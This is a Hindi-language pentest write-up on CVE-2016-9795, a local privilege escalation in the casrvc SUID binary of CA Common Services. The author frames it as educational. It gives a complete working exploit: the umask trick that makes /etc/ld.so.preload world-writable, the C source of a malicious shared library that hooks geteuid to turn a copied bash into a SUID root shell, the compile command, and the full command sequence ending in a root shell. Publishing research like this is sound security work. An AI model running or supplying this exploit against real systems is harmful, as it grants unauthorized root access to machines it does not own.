
CVE-2016-9795 विशेषाधिकार वृद्धि की पुनर्समीक्षा (CA Common Services सुइट से casrvc बाइनरी)
अपने एक पेंटेस्ट के दौरान, मुझे casrvc SUID बाइनरी (जो CA Common Services सूट का हिस्सा है) मिली। जैसा कि मुझे पता चला, यह बाइनरी स्थानीय विशेषाधिकार वृद्धि की चपेट में है। वास्तव में, NCC समूह ने इस कमजोरी के लिए एक सार्वजनिक CVE (CVE-2016-9795) पहले ही जारी कर दिया था।
कमजोरी वास्तव में तुच्छ है और जैसा कि मैंने बाद में पाया, NCC समूह ने अपनी PDF सलाहकारी (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf) में एक प्रूफ-ऑफ-कॉन्सेप्ट का खुलासा किया था। फिर भी, अपने पेंटेस्ट कार्य के दौरान, मैंने एक भिन्न शोषण पथ चुना जो शुरुआत के लिए एक व्यवहार्य विकल्प है और संभवतः सही ढंग से किए जाने पर कम जोखिम भरा है।
कमजोरी casrvc SUID बाइनरी में निहित है जो एक सुविधा प्रदान करती है जो उपयोगकर्ता को उस फ़ाइल नाम (और पूर्ण पथ) को चुनने की अनुमति देती है जिसमें लॉग लिखे जाएंगे। इस लॉग फ़ाइल का एक भाग उपयोगकर्ता द्वारा नियंत्रित होता है, इसलिए अंत में यह अविशेषाधिकार प्राप्त उपयोगकर्ता को कम या ज्यादा नियंत्रित मनमाना लेखन प्रदान करता है।
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[उपयोगकर्ता नियंत्रित इनपुट]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[उपयोगकर्ता नियंत्रित इनपुट]**
पहले से मौजूद PoC केवल लॉग आउटपुट को /etc/passwd फ़ाइल में जोड़ता है ताकि रूट समूह में एक और उपयोगकर्ता प्रविष्टि जोड़ी जा सके। /etc/passwd में चीज़ें जोड़ना कभी-कभी जोखिम भरा हो सकता है और मेरे मामले में मैं किसी भी कीमत पर सर्वर को क्रैश करने से बचना चाहता था।
शोषण तकनीक नई नहीं है और कई अन्य शोधकर्ताओं (जिनमें @dawid_golunski, @itm4n शामिल हैं) द्वारा कवर की गई है। यह इस बाइनरी पर लागू होती है और मैं यहां शैक्षिक उद्देश्यों के लिए इसके बारे में बात कर रहा हूं।
इसमें /etc/ld.so.preload फ़ाइल में जोड़ना या उसे बनाना शामिल है। जैसा कि लिनक्स मैनुअल man ld.so में वर्णित है, यह फ़ाइल लाइब्रेरी नामों की एक सूची (प्रति पंक्ति एक) को परिभाषित करने की अनुमति देती है जो हर बार कोई बाइनरी लॉन्च होने पर लोड की जाएगी।
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
इस फ़ाइल की विशिष्टता यह है कि प्रीलोड की गई लाइब्रेरी सिस्टम पर निष्पादित प्रत्येक प्रोग्राम के लिए लोड की जाती हैं, जिसमें SUID प्रोग्राम भी शामिल हैं। यह निश्चित रूप से "LD_PRELOAD" पर्यावरण चर के मामले में नहीं है जिसे कोई भी उपयोगकर्ता अपने सत्र के संदर्भ में लाइब्रेरी प्रीलोड करने के लिए सेट कर सकता है।
बनाई गई फ़ाइल की सामग्री को पूरी तरह से नियंत्रित करने के लिए, हम फ़ाइल मोड निर्माण मास्क सेट करने के लिए umask कमांड का उपयोग करते हैं। इस तरह जब लॉग फ़ाइल बनाई जाएगी, तो उसमें सभी के लिए पढ़ने और लिखने की अनुमति होगी।
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
हम फ़ाइल की सामग्री को जल्दी से मिटाने का प्रयास करते हैं क्योंकि casrvc निष्पादन योग्य चलाने के बाद सामग्री में कोई मान्य .so लाइब्रेरी नहीं होती है और यह हर बार कंप्यूटर पर कोई प्रोग्राम शुरू होने पर त्रुटि संदेश उत्पन्न करेगा।
हमारे मामले में, umask के साथ ट्रिक काम करती है। कभी-कभी, निष्पादन योग्य स्वयं umask मान सेट करते हैं, जिस स्थिति में हमारा umask मान ओवरराइट हो जाता है और अनदेखा कर दिया जाता है।
इसके बाद हम एक .so फ़ाइल बनाते हैं। इस .so फ़ाइल के लिए स्रोत कोड निम्नलिखित है। यह तीन काम करता है:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
इसे संकलित करने के लिए हम बस:
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
पिछले आदेशों में हम मानते हैं कि /tmp विभाजन NOEXEC या NOSUID गुणों के साथ माउंट नहीं किया गया है।
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)